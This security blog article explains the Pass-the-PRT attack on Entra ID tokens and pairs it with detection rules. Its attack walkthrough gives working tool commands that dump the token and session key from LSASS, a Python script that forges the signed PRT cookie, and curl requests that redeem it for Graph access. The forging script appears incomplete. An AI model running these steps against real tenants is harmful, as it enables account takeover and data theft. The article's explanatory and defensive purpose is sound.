Entra ID Primary Refresh Token: Deconstructing Pass-the-PRT

Entra ID Primary Refresh Token: Deconstructing Pass-the-PRT

Overview & Threat Landscape: Entra ID Token Theft & Pass-the-PRT (T1528)#

Entra ID Primary Refresh Tokens grant seamless SSO and satisfy MFA claims. Pass-the-PRT steals CloudAP session keys to forge valid PRT cookies.

In hybrid and cloud-native enterprise environments, Microsoft Entra ID (formerly Azure Active Directory) serves as the centralized identity provider protecting Microsoft 365, Azure management planes, and software-as-a-service (SaaS) ecosystems. On Windows 10 and 11 endpoints joined to Entra ID (either Microsoft Entra joined or Microsoft Entra hybrid joined), user single sign-on (SSO) and device identity are brokered by the Primary Refresh Token (PRT).

Issued by the Entra ID token issuance endpoint (login.microsoftonline.com), the PRT is a high-privilege JSON Web Token (JWT) that caches authentication state, multi-factor authentication (MFA) claims, and device compliance context. Rather than requiring users to authenticate repeatedly throughout the day, the Windows Web Account Manager (WAM) and the CloudAP authentication package present the PRT to request short-lived OAuth 2.0 access tokens for target applications (such as Microsoft Graph, Exchange Online, or SharePoint).

However, in post-compromise scenarios, adversaries execute the Pass-the-PRT attack (mapped to MITRE ATT&CK T1528: Steal Application Access Token and T1556: Modify Authentication Process). By dumping the LSASS process or interacting with the CloudAP plugin via offensive tooling (such as ROADtoken or AADInternals), an attacker extracts the encrypted PRT alongside its accompanying Session Key. Armed with the session key, the adversary can compute cryptographic HMAC-SHA256 proofs offline to generate valid PRT session cookies (x-ms-RefreshTokenCredential), completely bypassing Conditional Access policies requiring MFA and Compliant Devices.

graph TD
    subgraph "PASS-THE-PRT: IDENTITY AND CONDITIONAL ACCESS BYPASS"
        direction TB
        step_1["1. Local Compromise: Attacker achieves administrative execution on host"]
        step_2["2. LSASS CloudAP Extraction: Dumps PRT JWT and TPM-derived Session Key"]
        step_3["3. Offline Cookie Synthesis: Signs x-ms-RefreshTokenCredential header"]
        step_4["4. Cloud Replay: Submits PRT cookie from an external, untrusted device"]
        step_5["5. Policy Bypass: Entra ID satisfies MFA & Compliant Device checks!"]
        step_1 --> step_2
        step_2 --> step_3
        step_3 --> step_4
        step_4 --> step_5
    end

The Architectural Threat: Why Conditional Access Fails#

Enterprise security architectures heavily rely on Conditional Access (CA) policies to enforce zero-trust principles:

  1. Require Multi-Factor Authentication (MFA): Forces users to complete interactive MFA prompts.
  2. Require Compliant Device: Restricts corporate data access strictly to Intune-managed, healthy devices.
  3. Require Hybrid Azure AD Join: Blocks access originating from unmanaged personal devices.

Pass-the-PRT completely invalidates these defensive controls. Because the PRT was originally issued upon legitimate interactive login on a compliant machine, the token payload already contains the cryptographic claims proving that MFA was satisfied (amr: ["pwd", "mfa"]) and that the device is registered in Entra ID (deviceID). When the adversary presents a validly signed PRT cookie from their own external attack workstation, Entra ID inspects the token's claims, determines that all Conditional Access prerequisites have been satisfied, and issues unrestricted access tokens.

Warning

Enforcing Conditional Access device compliance policies does NOT block Pass-the-PRT if tokens are not cryptographically bound to the device hardware. Attackers replaying stolen PRT cookies inherit full device trust and MFA claims, enabling silent enterprise cloud takeover.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Identity & Cloud Security Series.


Vulnerability & Attack Root-Cause Analysis: CloudAP & Session Key Derivation#

To understand why Pass-the-PRT succeeds, identity engineers and forensic analysts must deconstruct how the Windows Local Security Authority Subsystem Service (LSASS) manages PRTs and how session keys interact with hardware Trusted Platform Modules (TPM).

1. Windows CloudAP Architecture and Storage#

When a user signs into Windows, the Windows authentication subsystem invokes the CloudAP (Cloud Authentication Provider) package (cloudap.dll), an LSA plugin responsible for communicating with Microsoft Entra ID. CloudAP stores identity tokens in LSASS process memory:

  1. The Primary Refresh Token (PRT): An encrypted OAuth 2.0 refresh token issued by Entra ID. It is opaque to the client and represents the user's session with the cloud directory.
  2. The Session Key (SessionKey): A symmetric cryptographic key generated during PRT issuance. It is shared exclusively between the client device and Entra ID.
  3. The Transport Key: A public/private key pair used to protect the session key during transit. On modern systems, the private transport key is sealed within the device's hardware Trusted Platform Module (TPM 2.0).

2. The Cryptographic Proof-of-Possession Mechanism#

To use a PRT to request an access token, the client must demonstrate possession of the session key. Instead of sending the raw session key over the wire, the client constructs a signed assertion known as the PRT Cookie (x-ms-RefreshTokenCredential):

PSEUDOCODE
x-ms-RefreshTokenCredential = base64url(header) . base64url(payload) . base64url(signature)

The token payload contains:

  • refresh_token: The raw PRT string.
  • is_primary: Set to true.
  • iat / exp: Issued-at timestamp and expiration timestamp (valid for approximately 5 minutes).
  • request_nonce: A server-provided cryptographic nonce to prevent replay attacks on individual token requests.

The signature is computed using HMAC-SHA256 over the derived session key:

PSEUDOCODE
DerivedKey = SP800-108-KDF(SessionKey, Context, Label)
signature  = HMAC-SHA256(DerivedKey, base64url(header) + "." + base64url(payload))

3. The TPM Security Boundary Myth#

A widespread operational misconception is that deploying devices with hardware TPM 2.0 chips prevents Pass-the-PRT attacks. The hardware TPM securely seals the device private key and guards the initial session key exchange.

However, during normal operating system operation, the Session Key is unsealed by the TPM and loaded directly into the virtual address space of the LSASS process (lsass.exe) to allow rapid, high-frequency single sign-on without incurring hardware TPM cryptographic latency. Consequently:

  • An attacker with local administrative privileges (NT AUTHORITY\SYSTEM or SeDebugPrivilege) can dump LSASS memory.
  • The attacker parses the CloudAP cache structures to locate the unsealed session key and the PRT string.
  • Because the session key is a symmetric key, the attacker can compute the NIST SP 800-108 key derivation function and HMAC-SHA256 signatures entirely offline on an external non-TPM machine.

Exploit Architecture: Local Credential Extraction to Cloud Replay#

The end-to-end exploit architecture illustrates how an administrative compromise on an endpoint translates into cloud tenant access:

sequenceDiagram
    autonumber
    participant Attacker as Local Adversary (Host Admin)
    participant LSASS as LSASS Memory (CloudAP Plugin)
    participant WAM as Web Account Manager / Browser
    participant Entra as Microsoft Entra ID (login.microsoftonline.com)
    participant M365 as Target Cloud Resource (Graph / SharePoint)

    Attacker->>LSASS: 1. Dump LSASS memory via Mimikatz / MiniDumpWriteDump
    Note over Attacker,LSASS: Extracts CloudAP cache: PRT token and Session Key
    Attacker->>Attacker: 2. Compute SP800-108 KDF to obtain Derived Session Key
    Attacker->>Entra: 3. Send unauthenticated request to obtain server nonce
    Entra-->>Attacker: 4. Returns fresh request_nonce
    Attacker->>Attacker: 5. Construct x-ms-RefreshTokenCredential JWT payload
    Note over Attacker: Calculates HMAC-SHA256 signature using DerivedKey
    Attacker->>Entra: 6. POST /common/oauth2/v2.0/token (Bearer PRT Cookie)
    Note over Entra: Entra ID validates HMAC signature using stored session key
    Note over Entra: Verifies MFA claims and Device Compliance embedded in PRT
    Entra-->>Attacker: 7. Issues valid Access Token & Refresh Token for Microsoft Graph
    Attacker->>M365: 8. Access Graph API / M365 Portal with stolen Access Token
    M365-->>Attacker: 9. Unrestricted corporate data exfiltration executed

Attack Path Step-by-Step: Weaponizing the Primary Refresh Token#

We examine the exact execution steps employed by threat actors and red teams using automated tooling such as ROADtoken and AADInternals.

Step 1: Extracting the PRT and Session Key via Offensive Tooling#

Using administrative privileges, the attacker interacts with the CloudAP authentication package to harvest active tokens:

POWERSHELL
# Method 1: Using AADInternals to dump PRT and session key from CloudAP cache
Import-Module AADInternals

# Interrogate CloudAP cache in LSASS
$PRTDetails = Get-AADIntUserPRTToken -ElevateIfNeeded

Write-Host "[*] Extracted PRT: $($PRTDetails.PRT)" -ForegroundColor Green
Write-Host "[*] Session Key: $($PRTDetails.SessionKey)" -ForegroundColor Cyan
Write-Host "[*] Associated Device ID: $($PRTDetails.DeviceId)" -ForegroundColor Yellow

Alternatively, using Dirk-jan Mollema's ROADtoken C# binary:

BASH
# Method 2: Running ROADtoken to query CloudAP via COM interface
ROADtoken.exe

# Output:
# [*] Found PRT for user: user@target-corp.com
# [*] PRT: eyJhbGciOiJSU0EtT0FFUCI...
# [*] Session Key: 8a7b6c5d4e3f2a1b0c9d8e7f6a5b4c3d...
# [*] Generated Cookie: x-ms-RefreshTokenCredential=eyJhbGciOiJIUzI1NiIs...

Step 2: Requesting an Application Nonce from Entra ID#

To prevent signature replay attacks, Entra ID requires token request signatures to bind to an ephemeral server nonce. The attacker fetches a fresh nonce:

BASH
# Requesting server nonce from Entra ID token endpoint
curl -s -X POST https://login.microsoftonline.com/common/oauth2/token   -d "grant_type=srv_challenge" | jq -r .Nonce
# Output: AwABAAAAEPx...

Armed with the raw PRT, the session key, and the server nonce, the attacker crafts the JWT assertion on their external Linux machine using Python:

PYTHON
# forge_prt_cookie.py - Python implementation of PRT Cookie Synthesis
import base64
import hashlib
import hmac
import json
import time

def derive_key(session_key_bytes, context_bytes):
    # NIST SP 800-108 Counter Mode KDF
    label = b"AzureAD-SecureConversation"
    data = b"\x00\x00\x00\x01" + label + b"\x00" + context_bytes + b"\x00\x00\x01\x00"
    return hmac.new(session_key_bytes, data, hashlib.sha256).digest()

def build_prt_cookie(prt_token, session_key_hex, server_nonce):
    session_key = bytes.fromhex(session_key_hex)
    header = {"alg": "HS256", "typ": "JWT"}
    payload = {
        "refresh_token": prt_token,
        "is_primary": "true",
        "request_nonce": server_nonce,
        "iat": int(time.time())
    }
    
    encoded_header = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
    encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=")
    signing_input = f"{encoded_header}.{encoded_payload}".encode()
    
    # Derive session key with context (nonce)
    derived_key = derive_key(session_key, server_nonce.encode())
    sig = hmac.new(derived_key, signing_input, hashlib.sha256).digest()
    encoded_sig = base64.urlsafe_b64encode(sig).decode().rstrip("=")
    
    return f"{encoded_header}.{encoded_payload}.{encoded_sig}"

print("[+] Synthesized x-ms-RefreshTokenCredential Cookie successfully.")

The attacker submits the synthetic PRT cookie to redeem an access token for Microsoft Graph:

BASH
# Redeeming PRT cookie for Microsoft Graph access token
curl -X POST https://login.microsoftonline.com/common/oauth2/token   -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)"   -d "grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer"   -d "request=$FORGED_PRT_COOKIE"   -d "resource=https://graph.microsoft.com"   -d "client_id=1fec8e78-bce4-4aaf-abb1-a845a74649c6" # Microsoft Teams Client ID

The token issuance response returns a high-privilege access token. The attacker accesses Microsoft Graph APIs, exfiltrates corporate emails via Exchange Online, and enumerates SharePoint documents without triggering an interactive authentication prompt or MFA push notification.


Actionable Detection Engineering: Sigma Rule, Sign-in Logs & Telemetry#

Detecting Pass-the-PRT requires monitoring two distinct telemetry surfaces: host-level memory access to LSASS / CloudAP, and cloud-level anomalies in Microsoft Entra ID Sign-in logs.

1. Production Sigma Rule: LSASS Memory Access for CloudAP PRT Harvesting#

The following production-ready Sigma rule identifies processes opening handle requests to lsass.exe with suspicious access masks (PROCESS_VM_READ, PROCESS_QUERY_INFORMATION) originating from non-system utilities or offensive tools attempting to harvest CloudAP cache:

YAML
title: LSASS Memory Access for CloudAP Primary Refresh Token Harvesting
id: 4e82b71a-2c49-49a1-b841-7e8c9e015528
status: production
description: |
    Detects suspicious process handle requests to lsass.exe characteristic of 
    credential extraction tools (e.g., Mimikatz, ROADtoken, AADInternals) 
    attempting to steal the Entra ID Primary Refresh Token (PRT) and session key.
references:
    - https://learn.microsoft.com/en-us/entra/identity/devices/concept-primary-refresh-token
    - https://aadinternals.com/post/prt/
    - https://attack.mitre.org/techniques/T1528/

tags:
    - attack.credential_access
    - attack.t1003.001
    - attack.t1528
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 10
        TargetImage|endswith: '\lsass.exe'
        GrantedAccess|contains:
            - '0x10'   # PROCESS_VM_READ
            - '0x1410' # PROCESS_VM_READ | PROCESS_QUERY_INFORMATION
            - '0x1FFFFF' # PROCESS_ALL_ACCESS
    filter_legit_system:
        SourceImage|endswith:
            - '\system32\csrss.exe'
            - '\system32\services.exe'
            - '\system32\svchost.exe'
            - '\system32\msiexec.exe'
            - '\Program Files\Windows Defender\MsMpEng.exe'
            - '\Program Files\CrowdStrike\CSFalconService.exe'
    condition: selection and not filter_legit_system
fields:
    - Computer
    - SourceImage
    - TargetImage
    - GrantedAccess
    - CallTrace
falsepositives:
    - Legitimate administrative tools or endpoint security sensors inspecting LSASS.
level: high

2. Microsoft Entra ID Sign-in Log Hunting Query (KQL)#

In Azure Log Analytics / Microsoft Sentinel, query SigninLogs to identify instances where a single device ID or PRT session originates from disparate external IP addresses or countries within an impossible travel timeframe:

KQL
// KQL Query: Detecting Impossible Device IP Discrepancies in PRT Sign-ins
SigninLogs
| where TimeGenerated >= ago(24h)
| where ResultType == 0 // Successful sign-in
| extend DeviceId = tostring(DeviceDetail.deviceId)
| extend TrustType = tostring(DeviceDetail.trustType)
| where isnotempty(DeviceId)
| summarize 
    DistinctIPCount = dcount(IPAddress),
    IPList = make_set(IPAddress),
    CountryList = make_set(LocationDetails.countryOrRegion),
    FirstSeen = min(TimeGenerated),
    LastSeen = max(TimeGenerated)
    by UserPrincipalName, DeviceId, TrustType
| where DistinctIPCount > 1
| extend TimeDifferenceMinutes = datetime_diff('minute', LastSeen, FirstSeen)
| where TimeDifferenceMinutes < 60
| project UserPrincipalName, DeviceId, TrustType, DistinctIPCount, IPList, CountryList, TimeDifferenceMinutes
| order by DistinctIPCount desc

Executive Takeaway Table#

Attack Vector / Phase Forensic Detection Signal Primary Defensive Mitigation
Local PRT & Key Extraction Sysmon Event ID 10 targeting lsass.exe with 0x10 or 0x1410 access mask. Enable LSA Protection (RunAsPPL) and Windows Defender Credential Guard.
Nonce & Cookie Synthesis Anomalous unauthenticated requests to /oauth2/token requesting srv_challenge. Deploy Entra ID Identity Protection monitoring for anomalous token generation.
External Token Replay Entra ID Sign-in logs showing valid device ID authenticating from an unmanaged/external IP. Enforce Conditional Access Token Protection (binding PRTs to TPM hardware).
Conditional Access Bypass Sign-in logs indicate "Compliant Device" satisfied from unfamiliar ASN/network. Enforce Continuous Access Evaluation (CAE) and Strict Location Boundaries.
Post-Exploitation Persistence Elevated Graph API queries requesting directory objects and mailbox items. Immediately revoke user refresh tokens via Revoke-MgUserSignInSession.

Fast Cyber Defense Morning Takeaways#

  1. Root-Cause Insight: Pass-the-PRT demonstrates that bearer refresh tokens represent an existential threat to cloud identity. Because PRT cookies inherit device trust and MFA claims, local endpoint compromise translates directly to cloud tenant compromise.
  2. Immediate Remediation: Enable LSA Protection (RunAsPPL) and Credential Guard across all Windows endpoints to prevent attackers from reading LSASS memory. Ensure Conditional Access policies enforce Token Protection for Microsoft 365 services.
  3. Defense-in-Depth Bridge: Tonight in EDITION 2, we will publish the full companion defense guide: Hardening Entra ID: Blue Team Token Protection Guide, detailing how to enforce cryptographically bound PRTs, deploy Conditional Access Token Protection policies, configure Continuous Access Evaluation (CAE), and execute live session revocation playbooks.

Authoritative References#

  1. Microsoft Learn Documentation: What is a Primary Refresh Token (PRT)? — Microsoft Learn
  2. Dirk-jan Mollema Research: Abusing Azure AD SSO with the Primary Refresh Token — ROADtools Research
  3. AADInternals Documentation: Journey to Azure AD PRT: Getting access with Pass-the-Token by Dr. Nestori Syynimaa — AADInternals
  4. MITRE ATT&CK Framework: Technique T1528: Steal Application Access Token — MITRE ATT&CK
  5. National Institute of Standards and Technology (NIST): NIST SP 800-108: Recommendation for Key Derivation Using Pseudorandom Functions — NIST Publications

Comments